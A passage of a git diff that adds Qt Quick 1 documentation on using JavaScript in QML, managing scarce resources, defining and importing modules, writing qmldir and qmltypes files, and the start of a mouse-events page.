+composition of existing \l {QML Elements}. To allow the implementation of more
+advanced behavior, QML integrates tightly with imperative JavaScript code.
+
+The JavaScript environment provided by QML is stricter than that in a web browser.
+In QML you cannot add, or modify, members of the JavaScript global object. It
+is possible to do this accidentally by using a variable without declaring it. In
+QML this will throw an exception, so all local variables should be explicitly
+declared.
+
+In addition to the standard JavaScript properties, the \l {QML Global Object}
+includes a number of helper methods that simplify building UIs and interacting
+with the QML environment.
+
+\section1 Inline JavaScript
+
+Small JavaScript functions can be written inline with other QML declarations.
+These inline functions are added as methods to the QML element that contains
+them.
+
+\code
+Item {
+ function factorial(a) {
+ a = parseInt(a);
+ if (a <= 0)
+ return 1;
+ else
+ return a * factorial(a - 1);
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log(factorial(10))
+ }
+}
+\endcode
+
+As methods, inline functions on the root element in a QML component can be
+invoked by callers outside the component. If this is not desired, the method
+can be added to a non-root element or, preferably, written in an external
+JavaScript file.
+
+\section1 Separate JavaScript files
+
+Large blocks of JavaScript should be written in separate files. These files
+can be imported into QML files using an \c import statement, in the same way
+that \l {Modules}{modules} are imported.
+
+For example, the \c {factorial()} method in the above example for \l {Inline JavaScript}
+could be moved into an external file named \c factorial.js, and accessed like this:
+
+\code
+import "factorial.js" as MathFunctions
+Item {
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log(MathFunctions.factorial(10))
+ }
+}
+\endcode
+
+Both relative and absolute JavaScript URLs can be imported. In the case of a
+relative URL, the location is resolved relative to the location of the
+\l {QML Document} that contains the import. If the script file is not accessible,
+an error will occur. If the JavaScript needs to be fetched from a network
+resource, the component's \l {QDeclarativeComponent::status()}{status} is set to
+"Loading" until the script has been downloaded.
+
+Imported JavaScript files are always qualified using the "as" keyword. The
+qualifier for JavaScript files must be unique, so there is always a one-to-one
+mapping between qualifiers and JavaScript files. (This also means qualifiers cannot
+be named the same as built-in JavaScript objects such as \c Date and \c Math).
+
+
+\section2 Code-Behind Implementation Files
+
+Most JavaScript files imported into a QML file are stateful, logic implementations
+for the QML file importing them. In these cases, for QML component instances to
+behave correctly each instance requires a separate copy of the JavaScript objects
+and state.
+
+The default behavior when importing JavaScript files is to provide a unique, isolated
+copy for each QML component instance. The code runs in the same scope as the QML
+component instance and consequently can can access and manipulate the objects and
+properties declared.
+
+\section2 Stateless JavaScript libraries
+
+Some JavaScript files act more like libraries - they provide a set of stateless
+helper functions that take input and compute output, but never manipulate QML
+component instances directly.
+
+As it would be wasteful for each QML component instance to have a unique copy of
+these libraries, the JavaScript programmer can indicate a particular file is a
+stateless library through the use of a pragma, as shown in the following example.
+
+\code
+// factorial.js
+.pragma library
+
+function factorial(a) {
+ a = parseInt(a);
+ if (a <= 0)
+ return 1;
+ else
+ return a * factorial(a - 1);
+}
+\endcode
+
+The pragma declaration must appear before any JavaScript code excluding comments.
+
+As they are shared, stateless library files cannot access QML component instance
+objects or properties directly, although QML values can be passed as function
+parameters.
+
+
+\section2 Importing One JavaScript File From Another
+
+If a JavaScript file needs to use functions defined inside another JavaScript file,
+the other file can be imported using the \l {QML:Qt::include()}{Qt.include()}
+function. This imports all functions from the other file into the current file's
+namespace.
+
+For example, the QML code below left calls \c showCalculations() in \c script.js,
+which in turn can call \c factorial() in \c factorial.js, as it has included
+\c factorial.js using \l {QML:Qt::include()}{Qt.include()}.
+
+\table
+\row
+\o {1,2} \snippet doc/src/snippets/declarative/integrating-javascript/includejs/app.qml 0
+\o \snippet doc/src/snippets/declarative/integrating-javascript/includejs/script.js 0
+\row
+\o \snippet doc/src/snippets/declarative/integrating-javascript/includejs/factorial.js 0
+\endtable
+
+Notice that calling \l {QML:Qt::include()}{Qt.include()} imports all functions from
+\c factorial.js into the \c MyScript namespace, which means the QML component can also
+access \c factorial() directly as \c MyScript.factorial().
+
+In QtQuick 2.0, support has been added to allow JavaScript files to import other
+JavaScript files and also QML modules using a variation of the standard QML import
+syntax (where all of the previously described rules and qualifications apply).
+
+A JavaScript file may import another in the following fashion:
+\code
+.import "filename.js" as UniqueQualifier
+\endcode
+For example:
+\code
+.import "factorial.js" as MathFunctions
+\endcode
+
+A JavaScript file may import a QML module in the following fashion:
+\code
+.import Module.Name MajorVersion.MinorVersion as UniqueQualifier
+\endcode
+For example:
+\code
+.import Qt.test 1.0 as JsQtTest
+\endcode
+In particular, this may be useful in order to access functionality provided
+via a module API; see qmlRegisterModuleApi() for more information.
+
+Due to the ability of a JavaScript file to import another script or QML module in
+this fashion in QtQuick 2.0, some extra semantics are defined:
+\list
+\o a script with imports will not inherit imports from the QML file which imported it (so accessing Component.error will fail, for example)
+\o a script without imports will inherit imports from the QML file which imported it (so accessing Component.error will succeed, for example)
+\o a shared script (i.e., defined as .pragma library) does not inherit imports from any QML file even if it imports no other scripts
+\endlist
+
+The first semantic is conceptually correct, given that a particular script
+might be imported by any number of QML files. The second semantic is retained
+for the purposes of backwards-compatibility. The third semantic remains
+unchanged from the current semantics for shared scripts, but is clarified here
+in respect to the newly possible case (where the script imports other scripts
+or modules).
+
+\section1 Running JavaScript at Startup
+
+It is occasionally necessary to run some imperative code at application (or
+component instance) startup. While it is tempting to just include the startup
+script as \e {global code} in an external script file, this can have severe limitations
+as the QML environment may not have been fully established. For example, some objects
+might not have been created or some \l {Property Binding}s may not have been run.
+\l {QML JavaScript Restrictions} covers the exact limitations of global script code.
+
+The QML \l Component element provides an \e attached \c onCompleted property that
+can be used to trigger the execution of script code at startup after the
+QML environment has been completely established. For example:
+
+\code
+Rectangle {
+ function startupFunction() {
+ // ... startup code
+ }
+
+ Component.onCompleted: startupFunction();
+}
+\endcode
+
+Any element in a QML file - including nested elements and nested QML component
+instances - can use this attached property. If there is more than one \c onCompleted()
+handler to execute at startup, they are run sequentially in an undefined order.
+
+Likewise, the \l {Component::onDestruction} attached property is triggered on
+component destruction.
+
+
+\section1 JavaScript and Property Binding
+
+Property bindings can be created in JavaScript by assigning the property with a \c function
+that returns the required value.
+
+See \l {qml-javascript-assignment}{Property Assignment versus Property Binding} for details.
+
+
+\section1 Receiving QML Signals in JavaScript
+
+To receive a QML signal, use the signal's \c connect() method to connect it to a JavaScript
+function.
+
+For example, the following code connects the MouseArea \c clicked signal to the \c jsFunction()
+in \c script.js:
+
+\table
+\row
+\o \snippet doc/src/snippets/declarative/integrating-javascript/connectjs.qml 0
+\o \snippet doc/src/snippets/declarative/integrating-javascript/script.js 0
+\endtable
+
+The \c jsFunction() will now be called whenever MouseArea's \c clicked signal is emitted.
+
+See \l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}
+{Connecting Signals to Methods and Signals} for more information.
+
+
+\section1 QML JavaScript Restrictions
+
+QML executes standard JavaScript code, with the following restrictions:
+
+\list
+\o JavaScript code cannot modify the global object.
+
+In QML, the global object is constant - existing properties cannot be modified or
+deleted, and no new properties may be created.
+
+Most JavaScript programs do not intentionally modify the global object. However,
+JavaScript's automatic creation of undeclared variables is an implicit modification
+of the global object, and is prohibited in QML.
+
+Assuming that the \c a variable does not exist in the scope chain, the following code
+is illegal in QML.
+
+\code
+// Illegal modification of undeclared variable
+a = 1;
+for (var ii = 1; ii < 10; ++ii)
+ a = a * ii;
+console.log("Result: " + a);
+\endcode
+
+It can be trivially modified to this legal code.
+
+\code
+var a = 1;
+for (var ii = 1; ii < 10; ++ii)
+ a = a * ii;
+console.log("Result: " + a);
+\endcode
+
+Any attempt to modify the global object - either implicitly or explicitly - will
+cause an exception. If uncaught, this will result in an warning being printed,
+that includes the file and line number of the offending code.
+
+\o Global code is run in a reduced scope
+
+During startup, if a QML file includes an external JavaScript file with "global"
+code, it is executed in a scope that contains only the external file itself and
+the global object. That is, it will not have access to the QML objects and
+properties it \l {QML Scope}{normally would}.
+
+Global code that only accesses script local variable is permitted. This is an
+example of valid global code.
+
+\code
+var colors = [ "red", "blue", "green", "orange", "purple" ];
+\endcode
+
+Global code that accesses QML objects will not run correctly.
+
+\code
+// Invalid global code - the "rootObject" variable is undefined
+var initialPosition = { rootObject.x, rootObject.y }
+\endcode
+
+This restriction exists as the QML environment is not yet fully established.
+To run code after the environment setup has completed, refer to
+\l {Running JavaScript at Startup}.
+
+\o The value of \c this is currently undefined in QML in the majority of contexts
+
+The \c this keyword is supported when binding properties from JavaScript.
+In all other situations, the value of
+\c this is undefined in QML.
+
+To refer to any element, provide an \c id. For example:
+
+\qml
+Item {
+ width: 200; height: 100
+ function mouseAreaClicked(area) {
+ console.log("Clicked in area at: " + area.x + ", " + area.y);
+ }
+ // This will not work because this is undefined
+ MouseArea {
+ height: 50; width: 200
+ onClicked: mouseAreaClicked(this)
+ }
+ // This will pass area2 to the function
+ MouseArea {
+ id: area2
+ y: 50; height: 50; width: 200
+ onClicked: mouseAreaClicked(area2)
+ }
+}
+\endqml
+
+\endlist
+
+\section1 Scarce Resources in JavaScript
+
+As described in the documentation for \l{QML Basic Types}, a \c variant type
+property may hold a "scarce resource" (image or pixmap). There are several
+important semantics of scarce resources which should be noted:
+
+\list
+\o By default, a scarce resource is automatically released by the declarative engine as soon as evaluation of the expression in which the scarce resource is allocated is complete if there are no other references to the resource
+\o A client may explicitly preserve a scarce resource, which will ensure that the resource will not be released until all references to the resource are released and the JavaScript engine runs its garbage collector
+\o A client may explicitly destroy a scarce resource, which will immediately release the resource
+\endlist
+
+In most cases, allowing the engine to automatically release the resource is
+the correct choice. In some cases, however, this may result in an invalid
+variant being returned from a function in JavaScript, and in those cases it
+may be necessary for clients to manually preserve or destroy resources for
+themselves.
+
+For the following examples, imagine that we have defined the following class:
+\code
+class AvatarExample : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QPixmap avatar READ avatar WRITE setAvatar NOTIFY avatarChanged)
+public:
+ AvatarExample(QObject *parent = 0) : QObject(parent), m_value(100, 100) { m_value.fill(Qt::blue); }
+ ~AvatarExample() {}
+
+ QPixmap avatar() const { return m_value; }
+ void setAvatar(QPixmap v) { m_value = v; emit avatarChanged(); }
+
+signals:
+ void avatarChanged();
+
+private:
+ QPixmap m_value;
+};
+\endcode
+
+and that we have registered it with the QML type-system as follows:
+\code
+qmlRegisterType<AvatarExample>("Qt.example", 1, 0, "AvatarExample");
+\endcode
+
+The AvatarExample class has a property which is a pixmap. When the property
+is accessed in JavaScript scope, a copy of the resource will be created and
+stored in a JavaScript object which can then be used within JavaScript. This
+copy will take up valuable system resources, and so by default the scarce
+resource copy in the JavaScript object will be released automatically by the
+declarative engine once evaluation of the JavaScript expression is complete,
+unless the client explicitly preserves it.
+
+\section2 Example One: Automatic Release
+
+In this example, the resource will be automatically
+released after the binding expression evaluation is
+complete.
+
+\qml
+// exampleOne.qml
+import QtQuick 1.0
+import Qt.example 1.0
+
+QtObject {
+ property AvatarExample a;
+ a: AvatarExample { id: example }
+ property variant avatar: example.avatar
+}
+\endqml
+
+\code
+QDeclarativeComponent component(&engine, "exampleOne.qml");
+QObject *object = component.create();
+// The scarce resource will have been released automatically
+// after the binding expression was evaluated.
+// Since the scarce resource was not released explicitly prior
+// to the binding expression being evaluated, we get the
+// expected result:
+//object->property("scarceResourceCopy").isValid() == true
+delete object;
+\endcode
+
+\section2 Example Two: Explicit Preservation
+
+In this example, the resource must be explicitly preserved in order
+to prevent the declarative engine from automatically releasing the
+resource after evaluation of the imported script.
+
+\code
+// exampleTwo.js
+.import Qt.example 1.0 as QtExample
+
+var component = Qt.createComponent("exampleOne.qml");
+var exampleOneElement = component.createObject(null);
+var avatarExample = exampleOneElement.a;
+var retn = avatarExample.avatar;
+
+// without the following call, the scarce resource held
+// by retn would be automatically released by the engine
+// after the import statement in exampleTwo.qml, prior
+// to the variable assignment.
+retn.preserve();
+
+function importAvatar() {
+ return retn;
+}
+\endcode
+
+\qml
+// exampleTwo.qml
+import QtQuick 1.0
+import Qt.example 1.0
+import "exampleTwo.js" as ExampleTwoJs
+
+QtObject {
+ property variant avatar: ExampleTwoJs.importAvatar()
+}
+\endqml
+
+\code
+QDeclarativeComponent component(&engine, "exampleTwo.qml");
+QObject *object = component.create();
+// The resource was preserved explicitly during evaluation of the
+// JavaScript expression. Thus, during property assignment, the
+// scarce resource was still valid, and so we get the expected result:
+//object->property("avatar").isValid() == true
+// The scarce resource may not have been cleaned up by the JS GC yet;
+// it will continue to consume system resources until the JS GC runs.
+delete object;
+\endcode
+
+\section2 Example Three: Explicit Destruction
+
+In the following example, we release (via destroy()) an explicitly preserved
+scarce resource variant. This example shows how a client may free system
+resources by releasing the scarce resource held in a JavaScript object, if
+required, during evaluation of a JavaScript expression.
+
+\code
+// exampleThree.js
+.import Qt.example 1.0 as QtExample
+
+var component = Qt.createComponent("exampleOne.qml");
+var exampleOneElement = component.createObject(null);
+var avatarExample = exampleOneElement.a;
+var retn = avatarExample.avatar;
+retn.preserve();
+
+function importAvatar() {
+ return retn;
+}
+
+function releaseAvatar() {
+ retn.destroy();
+}
+\endcode
+
+\qml
+// exampleThree.qml
+import QtQuick 1.0
+import Qt.example 1.0
+import "exampleThree.js" as ExampleThreeJs
+
+QtObject {
+ property variant avatarOne
+ property variant avatarTwo
+
+ Component.onCompleted: {
+ avatarOne = ExampleThreeJs.importAvatar(); // valid at this stage
+ ExampleThreeJs.releaseAvatar(); // explicit release
+ avatarTwo = ExampleThreeJs.importAvatar(); // invalid at this stage
+ }
+}
+\endqml
+
+\code
+QDeclarativeComponent component(&engine, "exampleThree.qml");
+QObject *object = component.create();
+// The scarce resource was explicitly preserved by the client during
+// the evaluation of the imported script, and so the scarce resource
+// remains valid until the explicit call to releaseAvatar(). As such,
+// we get the expected results:
+//object->property("avatarOne").isValid() == true
+//object->property("avatarTwo").isValid() == false
+// Because the scarce resource was released explicitly, it will no longer
+// be consuming any system resources (beyond what a normal JS Object would;
+// that small overhead will exist until the JS GC runs, as per any other
+// JavaScript object).
+delete object;
+\endcode
+
+*/
diff --git a/doc/src/qtquick1/modules.qdoc b/doc/src/qtquick1/modules.qdoc
new file mode 100644
index 0000000000..efca620e43
--- /dev/null
+++ b/doc/src/qtquick1/modules.qdoc
@@ -0,0 +1,487 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativemodules.html
+\title Modules
+\section1 QML Modules
+
+
+A module is a set of QML content files that can be imported as a unit into a QML
+application. Modules can be used to organize QML content into independent units,
+and they can use a versioning mechanism that allows for independent
+upgradability of the modules.
+
+While QML component files within the same directory are automatically accessible
+within the global namespace, components defined elsewhere must be imported
+explicitly using the \c import statement to import them as modules. For
+example, an \c import statement is required to use:
+
+\list
+\o A component defined in another QML file that is not in the same directory
+\o A component defined in a QML file located on a remote server
+\o A \l{QDeclarativeExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory)
+\o A JavaScript file (note this must be imported using \l {#namespaces}{named imports})
+\endlist
+
+An \c import statement includes the module name, and possibly a version number.
+This can be seen in the snippet commonly found at the top of QML files:
+
+\snippet doc/src/snippets/declarative/imports/qtquick-1.0.qml import
+
+This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML
+library itself must be imported to use any of the \l {QML Elements}, as they
+are not included in the global namespace by default.)
+
+The \c Qt module is an \e installed module; it is found in the
+\l{#import-path}{import path}. There are two types of QML modules:
+located modules (defined by a URL) and installed modules (defined by a URI).
+
+
+\section1 Located Modules
+
+Located modules can reside on the local filesystem or a network resource,
+and are referred to by a quoted location URL that specifies the filesystem
+or network URL. They allow any directory with QML content to be imported
+as a module, whether the directory is on the local filesystem or a remote
+server.
+
+For example, a QML project may have a separate directory for a set of
+custom UI components. These components can be accessed by importing the
+directory using a relative or absolute path, like this:
+
+\table
+\row
+\o Directory structure
+\o Contents of application.qml
+
+\row
+\o
+\code
+MyQMLProject
+ |- MyComponents
+ |- CheckBox.qml
+ |- Slider.qml
+ |- Window.qml
+ |- Main
+ |- application.qml
+\endcode
+
+\o
+\qml
+import "../MyComponents"
+
+Window {
+ Slider {
+ // ...
+ }
+ CheckBox {
+ // ...
+ }
+}
+\endqml
+
+\endtable
+
+Similarly, if the directory resided on a network source, it could
+be imported like this:
+
+\snippet doc/src/snippets/declarative/imports/network-imports.qml imports
+
+A located module can also be imported as a network resource if it has a
+\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files
+to be made available by the module. For example, if the \c MyComponents directory
+contained a \c qmldir file defined like this:
+
+\code
+Slider 1.0 Slider.qml
+CheckBox 1.0 CheckBox.qml
+Window 1.0 Window.qml
+\endcode
+
+If the \c MyComponents directory was then hosted as a network resource, it could
+be imported as a module, like this:
+
+\qml
+import "http://the-server-name.com/MyQMLProject/MyComponents"
+
+Window {
+ Slider {
+ // ...
+ }
+ CheckBox {
+ // ...
+ }
+}
+\endqml
+
+with an optional "1.0" version specification. Notice the import would fail if
+a later version was used, as the \c qmldir file specifies that these elements
+are only available in the 1.0 version.
+
+Note that modules imported as a network resource allow only access to components
+defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins}
+are not available.
+
+
+\target import-path
+\section1 Installed Modules
+
+Installed modules are modules that are made available through the QML import path,
+as defined by QDeclarativeEngine::importPathList(), or modules defined within
+C++ application code. An installed module is referred to by a URI, which allows
+the module to be imported from QML code without specifying a complete filesystem
+path or network resource URL.
+
+When importing an installed module, an un-quoted URI is
+used, with a mandatory version number:
+
+\snippet doc/src/snippets/declarative/imports/installed-module.qml imports
+
+When a module is imported, the QML engine searches the QML import path for a matching
+module. The root directory of the module must contain a
+\l{Writing a qmldir file}{qmldir file} that defines the QML files
+and/or C++ QML extension plugins that are made available to the module.
+
+Modules that are installed into the import path translate the URI into
+directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule
+must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the
+QML import path. In addition it is possible to store different versions of the
+module in subdirectories of its own. For example, a version 2.1 of the
+module could be located under \c com/nokia/qml/mymodule.2/qmldir or
+\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load
+the module which matches best.
+
+The import path, as returned by QDeclarativeEngine::importPathList(), defines the default
+locations to be searched by the QML engine for a matching module. By default, this list
+contains:
+
+\list
+\o The directory of the current file
+\o The location specified by QLibraryInfo::ImportsPath
+\o Paths specified by the \c QML_IMPORT_PATH environment variable
+\endlist
+
+Additional import paths can be added through QDeclarativeEngine::addImportPath() or the
+\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you
+can also use the \c -I option to add an import path.
+
+
+\section2 Creating Installed Modules
+
+As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example}
+was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents
+subdirectory could be made available as an installed module by adding a
+\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this:
+
+\code
+Slider 1.0 Slider.qml
+CheckBox 1.0 CheckBox.qml
+Window 1.0 Window.qml
+\endcode
+
+Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously,
+a QML file located anywhere on the local filesystem can then import the module as shown below,
+without referring to the module's absolute filesystem location:
+
+\qml
+import projects.MyQMLProject.MyComponents 1.0
+
+Window {
+ Slider {
+ // ...
+ }
+ CheckBox {
+ // ...
+ }
+}
+\endqml
+
+Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted
+as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above
+QML code would work just the same.
+
+Note that modules imported as a network resource allow only access to components
+defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins}
+are not available.
+
+
+\section2 Creating Installed Modules in C++
+
+C++ applications can define installed modules directly within the application using qmlRegisterType().
+For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial}
+defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType():
+
+\code
+qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart");
+\endcode
+
+This allows the application's QML files to use the \c PieChart type by importing the declared
+\c Charts module:
+
+\snippet doc/src/snippets/declarative/imports/chart.qml import
+
+For \l{QDeclarativeExtensionPlugin}{QML plugins}, the
+module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes(). This method
+can be reimplemented by the developer to register the necessary types for the module. Below is the
+\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins}
+example:
+
+\snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin
+
+Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file},
+the module can be imported from QML, like this:
+
+\snippet doc/src/snippets/declarative/imports/timeexample.qml import
+
+Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by
+a module that is imported as a network resource.
+
+
+
+\target namespaces
+\section1 Namespaces: Using Named Imports
+
+By default, when a module is imported, its contents are imported into the global namespace. You may choose to import the module into another namespace, either to allow identically-named types to be referenced, or purely for readability.
+
+To import a module into a specific namespace, use the \e as keyword:
+
+\snippet doc/src/snippets/declarative/imports/named-imports.qml imports
+
+Types from these modules can then only be used when qualified by the namespace:
+
+\snippet doc/src/snippets/declarative/imports/named-imports.qml imported items
+
+Multiple modules can be imported into the same namespace in the same way that multiple modules can be imported into the global namespace:
+
+\snippet doc/src/snippets/declarative/imports/merged-named-imports.qml imports
+
+\section2 JavaScript Files
+
+JavaScript files must always be imported with a named import:
+
+\qml
+import "somescript.js" as MyScript
+
+Item {
+ //...
+ Component.onCompleted: MyScript.doSomething()
+}
+\endqml
+
+The qualifier ("MyScript" in the above example) must be unique within the QML document.
+Unlike ordinary modules, multiple scripts cannot be imported into the same namespace.
+
+
+\section1 Writing a qmldir File
+
+A \c qmldir file is a metadata file for a module that maps all type names in
+the module to versioned QML files. It is required for installed modules, and
+located modules that are loaded from a network source.
+
+It is defined by a plain text file named "qmldir" that contains one or more lines of the form:
+
+\code
+# <Comment>
+<TypeName> [<InitialVersion>] <File>
+internal <TypeName> <File>
+plugin <Name> [<Path>]
+typeinfo <File>
+\endcode
+
+\bold {# <Comment>} lines are used for comments. They are ignored by the QML engine.
+
+\bold {<TypeName> [<InitialVersion>] <File>} lines are used to add QML files as types.
+<TypeName> is the type being made available, the optional <InitialVersion> is a version
+number, and <File> is the (relative) file name of the QML file defining the type.
+
+Installed files do not need to import the module of which they are a part, as they can refer
+to the other QML files in the module as relative (local) files, but
+if the module is imported from a remote location, those files must nevertheless be listed in
+the \c qmldir file. Types which you do not wish to export to users of your module
+may be marked with the \c internal keyword: \bold {internal <TypeName> <File>}.
+
+The same type can be provided by different files in different versions, in which
+case later versions (e.g. 1.2) must precede earlier versions (e.g. 1.0),
+since the \e first name-version match is used and a request for a version of a type
+can be fulfilled by one defined in an earlier version of the module. If a user attempts
+to import a version earlier than the earliest provided or later than the latest provided,
+the import produces a runtime error, but if the user imports a version within the range of versions provided,
+even if no type is specific to that version, no error will occur.
+
+A single module, in all versions, may only be provided in a single directory (and a single \c qmldir file).
+If multiple are provided, only the first in the search path will be used (regardless of whether other versions
+are provided by directories later in the search path).
+
+The versioning system ensures that a given QML file will work regardless of the version
+of installed software, since a versioned import \e only imports types for that version,
+leaving other identifiers available, even if the actual installed version might otherwise
+provide those identifiers.
+
+\bold {plugin <Name> [<Path>]} lines are used to add \l{QDeclarativeExtensionPlugin}{QML C++ plugins} to the module. <Name> is the name of the library. It is usually not the same as the file name
+of the plugin binary, which is platform dependent; e.g. the library \c MyAppTypes would produce
+\c libMyAppTypes.so on Linux and \c MyAppTypes.dll on Windows.
+
+<Path> is an optional argument specifying either an absolute path to the directory containing the
+plugin file, or a relative path from the directory containing the \c qmldir file to the directory
+containing the plugin file. By default the engine searches for the plugin library in the directory that contains the \c qmldir
+file. The plugin search path can be queried with QDeclarativeEngine::pluginPathList() and modified using QDeclarativeEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path.
+
+\bold {typeinfo <File>} lines add \l{Writing a qmltypes file}{type description files} to
+the module that can be read by QML tools such as Qt Creator to get information about the
+types defined by the module's plugins. <File> is the (relative) file name of a .qmltypes
+file.
+
+Without such a file QML tools may be unable to offer features such as code completion
+for the types defined in your plugins.
+
+
+\section1 Debugging
+
+The \c QML_IMPORT_TRACE environment variable can be useful for debugging
+when there are problems with finding and loading modules. See
+\l{Debugging module imports} for more information.
+
+
+\section1 Writing a qmltypes file
+
+QML modules may refer to one or more type information files in their
+\l{Writing a qmldir file}{qmldir} file. These usually have the .qmltypes
+extension and are read by external tools to gain information about
+types defined in plugins.
+
+As such qmltypes files have no effect on the functionality of a QML module.
+Their only use is to allow tools such as Qt Creator to provide code completion,
+error checking and other functionality to users of your module.
+
+Any module that uses plugins should also ship a type description file.
+
+The best way to create a qmltypes file for your module is to generate it
+using the \c qmlplugindump tool that is provided with Qt.
+
+Example:
+If your module is in \c /tmp/imports/My/Module, you could run
+\code
+qmlplugindump My.Module 1.0 /tmp/imports > /tmp/imports/My/Module/mymodule.qmltypes
+\endcode
+to generate type information for your module. Afterwards, add the line
+\code
+typeinfo mymodule.qmltypes
+\endcode
+to \c /tmp/imports/My/Module/qmldir to register it.
+
+While the qmldump tool covers most cases, it does not work if:
+\list
+\o The plugin uses a \l{QDeclarativeCustomParser}. The component that uses
+ the custom parser will not get its members documented.
+\o The plugin can not be loaded. In particular if you cross-compiled
+ the plugin for a different architecture, qmldump will not be able to
+ load it.
+\endlist
+
+In case you have to create a qmltypes file manually or need to adjust
+an existing one, this is the file format:
+
+\qml
+import QtQuick.tooling 1.1
+
+// There always is a single Module object that contains all
+// Component objects.
+Module {
+ // A Component object directly corresponds to a type exported
+ // in a plugin with a call to qmlRegisterType.
+ Component {
+
+ // The name is a unique identifier used to refer to this type.
+ // It is recommended you simply use the C++ type name.
+ name: "QDeclarativeAbstractAnimation"
+
+ // The name of the prototype Component.
+ prototype: "QObject"
+
+ // The name of the default property.
+ defaultProperty: "animations"
+
+ // The name of the type containing attached properties
+ // and methods.
+ attachedType: "QDeclarativeAnimationAttached"
+
+ // The list of exports determines how a type can be imported.
+ // Each string has the format "URI/Name version" and matches the
+ // arguments to qmlRegisterType. Usually types are only exported
+ // once, if at all.
+ // If the "URI/" part of the string is missing that means the
+ // type should be put into the package defined by the URI the
+ // module was imported with.
+ // For example if this module was imported with 'import Foo 4.8'
+ // the Animation object would be found in the package Foo and
+ // QtQuick.
+ exports: [
+ "Animation 4.7",
+ "QtQuick/Animation 1.0"
+ ]
+
+ Property {
+ name: "animations";
+ type: "QDeclarativeAbstractAnimation"
+ // defaults to false, whether this property is read only
+ isReadonly: true
+ // defaults to false, whether the type of this property was a pointer in C++
+ isPointer: true
+ // defaults to false: whether the type actually is a QDeclarativeListProperty<type>
+ isList: true
+ // defaults to 0: the minor version that introduced this property
+ revision: 1
+ }
+ Property { name: "loops"; type: "int" }
+ Property { name: "name"; type: "string" }
+ Property { name: "loopsEnum"; type: "Loops" }
+
+ Enum {
+ name: "Loops"
+ values: {
+ "Infinite": -2,
+ "OnceOnly": 1
+ }
+ }
+
+ // Signal and Method work the same way. The inner Parameter
+ // declarations also support the isReadonly, isPointer and isList
+ // attributes which mean the same as for Property
+ Method { name: "restart" }
+ Signal { name: "started"; revision: 2 }
+ Signal {
+ name: "runningChanged"
+ Parameter { type: "bool" }
+ Parameter { name: "foo"; type: "bool" }
+ }
+ }
+}
+\endqml
+
+*/
+/
diff --git a/doc/src/qtquick1/mouseevents.qdoc b/doc/src/qtquick1/mouseevents.qdoc
new file mode 100644
index 0000000000..cb724e5b14
--- /dev/null
+++ b/doc/src/qtquick1/mouseevents.qdoc
@@ -0,0 +1,120 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page mouseevents.html
+\title QML Mouse Events
+\ingroup QML Features
+\previouspage {Anchor-based Layout in QML}{Layouts using Anchors}
+\nextpage {QML Text Handling and Validators}{Text Handling and Validators}
+\contentspage QML Features
+
+\tableofcontents
+
+\section1 Mouse Elements
+
+\list
+\o \l{MouseArea} Element
+\o \l{MouseEvent} Object
+\endlist
+
+\section1 Mouse Event Handling
+
+QML uses \l{QML Signal and Handler Event System}{signals and handlers} to
+deliver mouse interactions. Specifically, the \l MouseArea and \l MouseEvent
+elements provide QML components with signal handlers to accept mouse events
+within a defined area.
+
+\section1 Defining a Mouse Area
+
+The \l MouseArea element receives events within a defined area. One quick way
+to define this area is to anchor the \c MouseArea to its parent's area using the
+\c anchors.fill property. If the parent is a \l Rectangle (or any \l Item
+component), then the MouseArea will fill the area defined by the parent's
+dimensions. Alternatively, an area smaller or larger than the parent is
+definable.
+\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml anchor fill
+
+\section1 Receiving Events
+
